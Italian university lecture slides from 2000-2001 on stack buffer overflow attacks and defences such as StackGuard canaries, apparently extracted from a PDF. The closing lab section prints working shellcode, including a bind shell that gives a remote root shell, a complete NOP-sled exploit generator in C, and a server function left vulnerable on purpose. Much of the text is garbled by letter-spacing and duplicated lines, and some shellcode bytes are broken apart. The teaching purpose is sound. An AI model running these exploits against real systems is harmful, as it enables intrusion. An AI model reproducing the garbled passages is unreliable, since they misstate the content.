Università di Salerno Università di Salerno Facoltà di Scienze MM. FF. NN:
Facoltà di Scienze MM. FF. NN:
Sistemi di Elaborazione dell’Informazione: Sicurezza su Reti Sistemi di Elaborazione dell’Informazione: Sicurezza su Reti
Anno Accademico 2000 Anno Accademico 2000--2001 2001 Docente:
Docente: Prof. Alfredo De Prof. Alfredo De SantisSantis
a cura di Bartalotta Andrea
Bartalotta Andrea 56/10008356/100083 Capone Angelo
Capone Angelo 56/10003456/100034 Capozza Michele
Capozza Michele 56/10011356/100113 Ferri Guglielmo
Ferri Guglielmo 56/0099156/00991 Piccolo Sabatino
Piccolo Sabatino 56/0098356/00983 2
Buffer Overflow
Introduzione Introduzione
9 I l Buffer Overflow Buffer Overflow è u n a d elle form e p iù com u n i d i vu ln era b ilità d i sistem i.
9 D om in a l’a rea rela tiva a lla p en etra zion e in reti rem ote.
9 StackGuard Stack Guard - svilu p p a to n ei la b ora tori d ell’U n iversità d ell’O regon . S i p refigge d i ren d ere im m u n e il sistem a d a qu esto tip o d i a tta cco.
3
Gestione del Buffer Gestione del Buffer
Buffer Overflow
Buffer - b locco con tigu o d i m em oria ch e con tien e p iù ista n ze d ello stesso tip o d i d a to.
Overflow - riem p ire oltre il lim ite u n b u ffer.
Come è organizzata la memoria di un processo? Come è organizzata la memoria di un processo?
regione testo regione regione testo testo regione dati regione regione dati dati stackstackstack
•
• fissa ta fissa ta
•
• a sola lettu ra a sola lettu ra
• • cod ice d el p rogra m m a cod ice d el p rogra m m a variabili statiche
variabili statiche e dati e dati (in izia lizza ti e n on ) (in izia lizza ti e n on )
4
Cos’è uno Stack Cos’è uno Stack
Buffer Overflow
• T ip o d i d a to a stra tto ch e god e d ella p rop rietà LIFO LIFO.
• O p era zion i p rin cip a li - push e pop.
• A p p a re com e u n b locco d i m em oria con tigu o con ten en te d ei d a ti.
• • Stack pointer Stack pointer (S P ) - registro ch e p u n ta a lla cim a d ello sta ck.
• L a b a se è u n in d irizzo fisso.
Implementata
Implementata ad hoc ad hoc con il supporto di uno con il supporto di uno stack stack.
L in gu a ggi d i p rogra m m a zion e
L in gu a ggi d i p rogra m m a zion e ⇒ ⇒ costru tto d i costru tto d i procedura o funzione. procedura o funzione.
Cos’è uno Stack ( 2 ) Cos’è uno Stack ( 2 )
local variable local variable instruction instruction pointer pointer(I P )
stack frame stack stack frame frame
frame pointer(F P ) o base pointer (B P ).
frame framepointerpointer(F P ) o base pointerbase pointer(B P ).
stack pointer (S P ) stack pointer stack pointer (S P )
Un esempio: la regione dello Stack Un esempio: la regione dello Stack
buffer2 buffer1 SFP a b c
SFP– saved frame pointer. È il vecch io frame pointer sa lva to qu an d o vien e avvia ta la fu n zion e.
RET
RET–l’in d irizzo d i ritorn o.
memoria bassa
memoria alta void function(int a, int b, int c){
char buffer1[245];
char buffer2[512];
} void main(){
function(1,2,3);
}
voidfunction(inta, intb, intc){
charbuffer1[245];
charbuffer2[512];
} voidmain(){
function(1,2,3);
}
cima dello stack fondo dello stack
S u p p on ia m o ch e il p rogram m a sia sta to com p ilato con u n a version e d el gcc.
S u p p on ia m o ch e il p rogram m a sia S u p p on iam o ch e il p rogram m a sia stato com p ilato con u n a version e d el stato com p ilato con u n a version e d el gcc..gcc
mainch ia m a function(). I l cod ice a ssem b ly d i function() gen era le segu en ti a zion i:
pushl$ 3 pushl$ 2 pushl$ 1 callfu n ction
mainch ia m a function(). I l cod ice a ssem b ly d i function() gen era le segu en ti a zion i:
pushl$ 3 pushl$ 2 pushl$ 1 callfu n ction
• call im p ila instruction pointer
• IP vien e ch iam ato indirizzo di ritorno
• call im p ilainstructioninstructionpointerpointer
•IPIPvien e ch iam a to indirizzo di indirizzo di ritorno
ritorno
7
Cos’è un attacco di
Cos’è un attacco di Buffer Overflow Buffer Overflow
Buffer Overflow
0000 FFFF
Stack cresce Stringa
cresce
Variabili locali buffer Indirizzo di
ritorno
La funzione ritorna “saltando” al
codice iniettato.
La funzione ritorna “
La funzione ritorna “saltando saltando” al ” al codice iniettato
codice iniettato. .
L’attaccante fornisce una stringa di grosse dimensioni ad un programma che non effettua controlli sulla taglia dei propri input.
L’attaccante fornisce una stringa di grosse grosse dimensioni
dimensioni ad un programma che non effettua controlli sulla taglia dei propri input.
La stringa sovrascrive l’indirizzo di ritorno e inietta il codice.
La stringa sovrascrive l’indirizzo di ritorno La stringa sovrascrive l’indirizzo di ritorno e inietta il codice.
e inietta il codice.
Codice d’attacco
8
Come attaccare con
Come attaccare con Buffer overflow Buffer overflow
Buffer Overflow
Codice vulnerabile Codice vulnerabile
qu a lsia si op era zion e effettu a ta su d i u n a rra y ch e n on effettu a con trolli su lla d im en sion e.
E siston o cook cook- -books books d a cu i estra rre il cod ice n ecessa rio.
d eve solo trova re codice vulnerabile codice vulnerabile a ll’in tern o d i p rogra m m i resid en ti su l sistem a .
9
Buffer Overflow: un problema attuale Buffer Overflow: un problema attuale
Buffer Overflow
¾ G ra n d e rison a n za n el 1 9 8 8 d op o il Worm Worm d i Internet ( Morris). Morris
¾ N on c’è sta to n essu n segn o d i m igliora m en to, in qu a n to:
• ca u sa to d a fu n zion i “pericolose pericolose” d el C p resen ti n elle lib rerie sta n d a rd (strcpy() strcpy() , strcat() strcat() , etc).
• solo solo programmazione programmazione accurata accurata p u ò lim ita re qu esta vu ln era b ilità .
• n u ove patch patch in trod u con o n u ove vu ln era b ilità .
• u n debugging debugging a ccu ra to p otreb b e n on elim in a re il p rob lem a .
10
Vulnerabilità ed attacchi Vulnerabilità ed attacchi
Buffer Overflow
• L o scop o è d i sovvertire la fu n zion e d i u n programma privilegiato programma privilegiato.
• P er otten ere qu esto risu lta to l’a tta cca n te d eve:
1 .
1 . P red isp orre il cod ice a d a tto, d a P red isp orre il cod ice a d a tto, d a esegu ire n ello sp a zio esegu ire n ello sp a zio d 'in d irizza m en to d el p rogra m m a . d 'in d irizza m en to d el p rogra m m a .
0000 FFFF
Stack cresce Stringa
cresce Stack frame
Variabili locali buffer Indirizzo di
ritorno Codice d’attacco
2 .
2 . P erm ettere a l p rogra m m a d i sa lta re P erm ettere a l p rogra m m a d i sa lta re a qu el cod ice, con p a ra m etri esa tti, a qu el cod ice, con p a ra m etri esa tti, ca rica ti n ei registri e n ella m em oria ca rica ti n ei registri e n ella m em oria
Come utilizzare codice d’attacco Come utilizzare codice d’attacco
D u e m od i p er rea lizza re u n buffer overflow buffer overflow:
Iniettare il codice: Iniettare il codice:
• I l cod ice a d a tto è p resen te n ello sp a zio d i in d irizza m en to.
• L 'a tta cca n te h a b isogn o d i p a ra m etrizza re il cod ice.
• L L ’ ’a tta cca n te fa in m od o ch e il p rogra m m a sa lti a d esso a tta cca n te fa in m od o ch e il p rogra m m a sa lti a d esso.
• L 'a tta cca n te forn isce u n a strin ga in in p u t
• I l p rogra m m a lo ca rica in u n b u ffer.
• L 'a tta cca n te sta u sa n d o i L 'a tta cca n te sta u sa n d o i b u ffers b u ffers d el p rogra m m a vittim a p er d el p rogra m m a vittim a p er m em orizza rvi il cod ice d 'a tta cco.
m em orizza rvi il cod ice d 'a tta cco.
Il codice è Il codice è gi già à lì l ì: :
Modifica del flusso Modifica del flusso
Corrompere i puntatori
Corrompere i puntatori ⇒ ⇒ indirizzo di ritorno indirizzo di ritorno
Record d'Attivazione: Record d'Attivazione:
• C orrom p ere l'in d irizzo d i ritorn o n el record d i a ttiva zion e
• L ’a tta cca n te ca u sa il sa lto d el p rogra m m a a l cod ice d 'a tta cco.
•
• stack smashing attack stack smashing attack ( (a tta cco ch e fra ca ssa lo sta ck a tta cco ch e fra ca ssa lo sta ck). ).
• P osson o essere a lloca ti ovu n qu e (stack stack, heap heap, area dati area dati).
• L 'a tta cca n te n ecessita d i trova re u n b u ffer a d ia cen te a l p u n ta tore a fu n zion e.
• M a n d a qu este a ree in overflow p er ca m b ia re il p u n ta tore M a n d a qu este a ree in overflow p er ca m b ia re il p u n ta tore.
Puntatori a Funzione: Puntatori a Funzione: .
13
Tecnica tipica d’attacco Tecnica tipica d’attacco
Buffer Overflow
C om b in a zion e d i:
tecnica d'iniezione tecnica d'iniezione.
corruzione del record d'attivazione corruzione del record d'attivazione.
Nota:
Nota:
•
• Iniezione Iniezione e e Corruzione Corruzione n on a vven gon o in u n 'u n ica a zion e. n on a vven gon o in u n 'u n ica a zion e.
• • L 'a tta cca n te p u L 'a tta cca n te p u ò ò in ietta re il cod ice op p u re fa r tra b occa re u n b u ffer in ietta re il cod ice op p u re fa r tra b occa re u n b u ffer d ifferen te p er
d ifferen te p er corrompere il puntatore al codice corrompere il puntatore al codice. .
•
• S e il cod ice è S e il cod ice è gi già à resid en te resid en te ⇒ ⇒ L L ’ ’a tta cca n te h a b isogn o d i a tta cca n te h a b isogn o d i p a ra m etrizza rlo
p a ra m etrizza rlo . .
14
Difese da Buffer Overflow Difese da Buffer Overflow
Buffer Overflow
Quattro approcci di base:
9
9 Il metodo di forza bruta ovvero Il metodo di forza bruta ovvero scrivere codice sicuro scrivere codice sicuro. . 9
9 Rendere l'area di memoria, d estin ata a con ten ere le Rendere l'area di memoria, d estin ata a con ten ere le va ria b ili,
va ria b ili, non eseguibile. non eseguibile.
9 9 Controllare la dimensione degli array a d ogn i a ccesso Controllare la dimensione degli array a d ogn i a ccesso. . 9 9 Verificare l'integrità Verificare l'integrit à dei puntatori dei puntatori p rim a d i p rim a d i
d ereferen zia rli d ereferen zia rli. .
15
Scrivere codice sicuro Scrivere codice sicuro
Buffer Overflow
• Irrimediabilmente costoso!
• utilizzare tools come grep.
• Programmazione sicura dovrebbe seguire le seguenti regole:
• Irrimediabilmente costoso! Irrimediabilmente costoso !
• utilizzare tools come grep grep.
• Programmazione sicura dovrebbe seguire le seguenti regole: Programmazione sicura
•
• Principio del minor privilegio possibile. Principio del minor privilegio possibile.
•
• Scrivere codice semplice. Scrivere codice semplice.
•
• Non fidarsi di nessuno. Non fidarsi di nessuno.
Vulnerabilità al buffer overflow possono essere non facilmente individuabili
Vulnerabilità al buffer overflow possono essere Vulnerabilità al buffer overflow possono essere non facilmente individuabili
non facilmente individuabili
16
Buffer non eseguibili Buffer non eseguibili
Buffer Overflow
Impedire all'attaccante di eseguire il codice inserito
⇒ Rendere il segmento dati dello spazio di indirizzamento non eseguibile.
Impedire all'attaccante di eseguire il codice inserito Impedire all'attaccante di eseguire il codice inserito
⇒
⇒ Rendere il segmento dati dello spazio di indirizzamento non eseguibile non eseguibile.
Problemi Problemi
L in ea d i p rogettazion e d ei sistem i su i vecch i com p u ter
I p iù recen ti sistem i UNIX e MS Windows, dipendono d alla p ossib ilità d i inserire cod ice d in am ico n el segm en to d ati d ei p rogram m i, p er ottim izzare le p resta zion i.
A lcu n i sistem i d evon o sacrificare sostan ziali com p atib ilità d ei p rogram m i già in u so.
patch patch per per Linux Linux e e Solaris Solaris implementano questo criterio. implementano questo criterio.
pochi problemi di compatibilit pochi problemi di compatibilità à: :
nessun programma "normale" ha del codice eseguibile nello stack.nessun programma "normale" ha del codice eseguibile nello stack.
Controllo della dimensione degli array Controllo della dimensione degli array
Non è Non è possibile corrompere i dati adiacenti nello stack. possibile corrompere i dati adiacenti nello stack.
Elimina completamente le possibilità Elimina completamente le possibilit à di realizzare tali attacchi. di realizzare tali attacchi.
L'approccio diretto è L'approccio diretto è quello di testare tutti i riferimenti agli array. quello di testare tutti i riferimenti agli array.
Realizzazioni:
9 Controllo sulla dimensione degli array: (Jones & Kelly).
9 Controllo dell’accesso in memoria.
9 Linguaggi Type-Safety.
Realizzazioni:
Realizzazioni:
9
9 Controllo sulla dimensione degli array: (Jones Controllo sulla dimensione degli array: ( Jones & & Kelly Kelly). ).
9
9 Controllo dell’ Controllo dell ’accesso in memoria. accesso in memoria.
9
9 Linguaggi Type Linguaggi Type- -Safety Safety. .
Non basta inserire codice per realizzare un buffer overflow:
¾ è necessario modificare il flusso del programma in esecuzione.
Non basta inserire codice per realizzare un buffer overflow:
Non basta inserire codice per realizzare un buffer overflow:
¾
¾ è è necessario modificare il flusso del programma in esecuzione. necessario modificare il flusso del programma in esecuzione.
Verifica dell’integrità dei puntatori Verifica dell’integrità dei puntatori
Verifica:
¾ un puntatore è stato sovrascritto prima di essere utilizzato?
Verifica:
Verifica:
¾
¾ un puntatore un puntatore è è stato stato sovrascritto sovrascritto prima di essere utilizzato? prima di essere utilizzato ?
¾
¾ Snarskii Snarskii - - versione personalizzata di versione personalizzata di libc libc per per FreeBSD FreeBSD. .
¾
¾ Progetto Stack Progetto StackGuard Guard. .
¾ ¾ PointGuard PointGuard - - in fase di sviluppo. in fase di sviluppo . sviluppato in 3 modi distinti:
sviluppato in 3 modi distinti:
sviluppato in 3 modi distinti:
Attacchi mirati alla modifica di componenti del programma, che non siano i puntatori, andranno comunque a segno.
Attacchi
Attacchi mirati mirati alla modifica di componenti del programma, alla modifica di componenti del programma,
che non siano i puntatori, andranno comunque a segno
che non siano i puntatori, andranno comunque a segno. .
19
Stack StackGuard Guard
Buffer Overflow
Realizzato utilizzando una tecnica di compilazione che assicura l'integrità dell'area di memoria contenente l'indirizzo di ritorno del record d'attivazione della funzione.
Realizzato utilizzando una tecnica di compilazione che assicura Realizzato utilizzando una tecnica di compilazione che assicura l'integrit
l'integrità à dell'area di memoria contenente l'indirizzo di ritorno del dell'area di memoria contenente l'indirizzo di ritorno del record d'attivazione della funzione.
record d'attivazione della funzione.
0000 FFFF
Stack cresce Stringa
cresce Stack frame
variabili locali buffer Indirizzo di
ritorno Codice d’attacco
canarino canarino
20
Stack
StackGuard Guard ( 2 ) ( 2 )
Buffer Overflow
9 Stack StackGuard Guard è u n a p iccola patch d a a p p lica re a gcc gcc .
0000 FFFF
Stack cresce Stringa
cresce Stack frame
variabili locali buffer Indirizzo di
ritorno Codice d’attacco
canarino canarino
¾
¾dopo salta all'indirizzo di ritorno!dopo salta all'indirizzo di ritorno!
¾
¾aggiunge del codice specifico.aggiunge del codice specifico.
9 I l cod ice aggiuntivo aggiuntivo p ia zza u n a canary
canary word word vicin o a ll'in d irizzo d i ritorn o n ello sta ck.
9 I l cod ice verifica verifica ch e la canary canary word word sia in ta tta .
21
Stack
StackGuard Guard ( 3 ) ( 3 )
Buffer Overflow
Soluzione :
StackGuard u tilizza tre m etod i p er p reven ire qu esto a tta cco:
Terminator Canary Random Canary Xor Random Canary Soluzione
Soluzione : Stack
StackGuard Guard u tilizza tre m etod i p er p reven ire qu esto a tta cco:
Terminator Canary Terminator Canary Random Random Canary Canary Xor Random Xor Random Canary Canary Problema:
Problema:
p u ò sovra scrivere l'in d irizzo d i ritorn o sen za com p rom ettere canary
canary word word .
U n a tta cca n te legge la canary canary word word e la in ca p su la n ella strin ga d i a tta cco.
22
Terminator Canary Terminator Canary
Buffer Overflow
canary word
canary word costitu ita d a com u n i sim b oli d i term in a zion e u tilizza ti d a lle librerie standard
librerie standard d el C C:
0 0 - - N U L L N U L L
CR CR - - C a rria ge C a rria ge R etu rn R etu rn
LF LF - - L in e L in e F eed F eed
-1 - 1 - - E n d of F ile E n d of F ile Nota che Nota che: :
U n m a lin ten zion a to n on p otreb b e u sa re le fu n zion i sta n d a rd p er leggere qu esti sim b oli ed in ca p su la rli in u n a strin ga .
L e fu n zion i d i cop ia si ferm ereb b ero a lla p rim a occorren za d i u n o d i qu esti ca ra tteri.
Random Random Canary Canary canary word
canary word di 32 bit scelto al scelto al run run- -time time.
S egreto fa cile d a u sa re d ifficile d a in d ovin a re.
S egreto fa cile d a u sa re d ifficile d a in d ovin a re.
N on
N on è è m a i rivela ta . m a i rivela ta .
C a m b ia a d ogn i ria vvio d el p rogra m m a . C a m b ia a d ogn i ria vvio d el p rogra m m a .
Xor Random
Xor Random Canary Canary
M ecca n ism o in trod otto d a lla version e 1.21 d i Stack StackGuard Guard.
¾ canary word word con siste d i u n vettore d i 1 2 8 b it casu a li (quattro word scelte al run-time)
¾
¾ XOR XOR (4 word , retu rn a d d ress).
canary word
canary word lega ta a ll'in d irizzo d i ritorn o
d ella fu n zion e a ttiva .
25
Resistenza alle intrusioni
Buffer Overflow Programma
Vulnerabile
Risultato senza StackGuard
Risultato con StackGuard
D ip 3 . 3 . 7 n R oot sh ell P rogram m a b loccato E lm 2 . 4 P L 2 5 R oot sh ell P rogram m a b loccato
P erl 5. 003 R oot sh ell P rogram m a b loccato
con u scita irregolare
S a m b a R oot sh ell P rogram m a b loccato
S u p er P rob e R oot sh ell P rogram m a b loccato con u scita irregolare u m ou n t 2 . 5k/lib c 5. 3 . 1 2 R oot sh ell P rogram m a b loccato wwwcou n t v2 . 3 H ttp d sh ell P rogra m m a b locca to
zgv 2 . 7 R oot sh ell P rogram m a b loccato
26
Risultati sperimentali Risultati sperimentali
Buffer Overflow
S p erim en ta lm en te Stack StackGuard Guard rea lizza protezione effettiva con tro a tta cch i d i stack smashing stack smashing.
P reserva ca ra tteristich e d i compatibilit compatibilità à e utilizzo utilizzo d el sistem a p rotetto.
P rogetto Immunix Immunix: com p ila zion e d i u n 'in tera d istrib u zion e d i Linux Linux (Red Hat 5.1) con Stack StackGuard Guard.
microbenchmark
microbenchmark h an n o evid en zia to sosta n zia le in crem en to n el costo d i ogn i sin gola ch ia m a ta a fu n zion e.
macrobenchmark
macrobenchmark h a n n o evid en zia to u n overhead tota le tra scu ra b ile.
27
Risultati sperimentali (2) Risultati sperimentali (2)
Buffer Overflow
P eso d i StackGuard Stack Guard su l web server Apache
StackGuard # di client Connessioni (per secondo)
Latenza media (in secondi)
Throughput (in Mbit/sec)
No 2 34.44 0.0578 5.63
No 16 43.53 0.3583 6.46
No 30 47.2 0.6030 6.46
Si 2 34.92 0.0570 5.53
Si 16 53.57 0.2949 6.44
Si 30 50.89 0.5612 6.48
28
Considerazioni finali Considerazioni finali
Buffer Overflow
Stack StackGuard Guard op era in m od o d el tu tto tra sp a ren te a ll'u ten te.
S u l sito d i Immunix Immunix si fa riferim en to a d u n a version e 2.0 d i Stack StackGuard Guard, tu tt’oggi risu lta irrep erib ile.
L e patch d isp on ib ili son o rela tive a version i ob solete d el com p ila tore gcc .
L ’en tu sia sm o in izia le n ei con fron ti d i qu esto p rogetto è a n d a to scem a n d o.
Laboratorio
Laboratorio Exploit & Shellcode Exploit & Shellcode
9 L ’exploit sfru tta u n a vu ln era b ilità p resen te in u n sistem a . 9 I l n ostro exp loit gen era la strin ga ch e sovra scrive l'in d irizzo d i ritorn o ed esegu e il cod ice d i a tta cco.
9 U n a shellcode è u n a rra y d i ca ra tteri ch e con tien e il cod ice esegu ib ile d a in ietta re.
9 L ’exploit exploit sfru tta u n a vu ln era b ilità p resen te in u n sistem a . 9 I l n ostro exp loit gen era la strin ga ch e sovra scrive l'in d irizzo d i ritorn o ed esegu e il cod ice d i a tta cco.
9 U n a shellcode shellcode è u n a rra y d i ca ra tteri ch e con tien e il cod ice esegu ib ile d a in ietta re.
Esempio Esempio charshellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
31
Realizzare un exploit Realizzare un exploit
Buffer Overflow
9 L o sta ck in izia p er ogn i p rogra m m a a llo stesso in d irizzo.
9 S a p en d o d ove in izia lo sta ck si p u ò p rova re a d indovinare d ove si trovi il b u ffer.
9 P a ra m etri d el p rogra m m a :
• d im en sion e d i b u ffer.
• offset d a llo sta ck p oin ter.
9I n serire istru zion i NOP a u m en ta n o la p rob a b ilità d i riu scita .
buffer
buffer SFPSFP RETRET aa bb cc memoria
bassa
memoria alta
cima dello stack fondo dello stack
0xDE
0xDE 0xDE0xDE0xDE0xDE0xDE0xDE 0xDE0xDE NNNNNNNSSSSSSSSSSS
NNNNNNNSSSSSSSSSSS
32
Realizzare un exploit ( 2 ) Realizzare un exploit ( 2 )
Buffer Overflow La nostra shellcode:
ch a r sh ellcod e[] =
"\xeb \x7 2 " /* jmp callz */
/* socket() */
"\x5e\x2 9 \xc0\x8 9 \x4 6 \x1 0\x4 0\x8 9 \xc3 \x8 9 \x4 6 \x0c\x4 0\x8 9 \x4 6 \x08 \x8 d \x4 e\x08 \xb 0\x6 6 \xcd \x 8 0"
/* bind()*/
"\x4 3 \xc6 \x4 6 \x1 0\x1 0\x6 6 \x8 9 \x5e\x1 4 \x8 8 \x4 6 \x08 \x2 9 \xc0\x8 9 \xc2 \x8 9 \x4 6 \x1 8 \xb 0\x9 0\x6 6 \x 8 9 \x4 6 \x1 6 \x8 d \x4 e\x1 4 \x8 9 \x4 e\x0c\x8 d \x4 e\x08 \xb 0\x6 6 \xcd \x8 0“
/* listen() */
"\x8 9 \x5e\x0c\x4 3 \x4 3 \xb 0\x6 6 \xcd \x8 0“
/* accept() */
"\x8 9 \x56 \x0c\x8 9 \x56 \x1 0\xb 0\x6 6 \x4 3 \xcd \x8 0“
/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"\x8 6 \xc3 \xb 0\x3 f\x2 9 \xc9 \xcd \x8 0\xb 0\x3 f\x4 1 \xcd \x8 0\xb 0\x3 f\x4 1 \xcd \x8 0“
/* execve() */
"\x8 8 \x56 \x07 \x8 9 \x7 6 \x0c\x8 7 \xf3 \x8 d \x4 b \x0c\xb 0\x0b \xcd \x8 0"
/* callz: */
"\xe8 \x8 9 \xff\xff\xff/b in /sh ";
33
Il nostro exploit Il nostro exploit
Buffer Overflow
#include<stdlib.h>
#defineDEFAULT_OFFSET 0
#defineDEFAULT_BUFFER_SIZE 512
#defineNOP 0x90 charshellcode[] = ...
unsigned longget_sp(void) { __asm__("movl %esp,%eax");
}
voidmain(intargc, char*argv[]) { char*buff, *ptr;
long*addr_ptr, addr;
intoffset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
inti;
if(argc > 1) bsize =atoi(argv[1]);
if(argc > 2) offset =atoi(argv[2]);
if(!(buff =malloc(bsize))) { printf("Can't allocate memory.\n");
exit(0);
}
addr =get_sp() - offset;
ptr =buff;
addr_ptr =(long *) ptr;
for(i =0; i < bsize; i+=4)
*(addr_ptr++) =addr;
for(i =0; i < bsize/2; i++) buff[i] =NOP;
ptr =buff + ((bsize/2) - (strlen(shellcode)/2));
for(i =0; i <
strlen(shellcode); i++)
*(ptr++) =shellcode[i];
buff[bsize - 1] ='\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
34
La nostra La nostra Demo Demo
Buffer Overflow
A p p lica zion e client/server ch e u tilizza i socket d i Berkley.
A p p lica zion e client/server client/server ch e u tilizza i socket socket d i Berkley.
U tilizzia m o u n a shellcode shellcode ch e crea u n socket socket d i ascolto su lla p orta 3 6 8 6 4 e a vvia u n a sh ell, red igen d o sta n d a rd input, output ed error su l socket stesso.
U tilizzia m o u n p rogra m m a ch e si con n ette a l socket socket e ottien e u n a shell remota shell remota su lla m a cch in a vittim a .
O tten ia m o l’accesso a ll’h ost rem oto con i p erm essi ch e a veva il server server.
Il server Il server
• I l server risp on d e con u n echo d i ritorn o.
• L a vu ln era b ilità d el server loca lizza ta n ella fu n zion e leggi():
voidleggi (char*buff,intconnfd){
charvuln[512];
intn,len,offset=0,tot=0;
while(n=read(connfd,&buff[tot],MAXLINE)>0){
tot+=n;
}
strcpy(vuln,buff);
strcat(vuln,", hello!\n");
write(connfd, vuln, strlen(vuln)+1);
}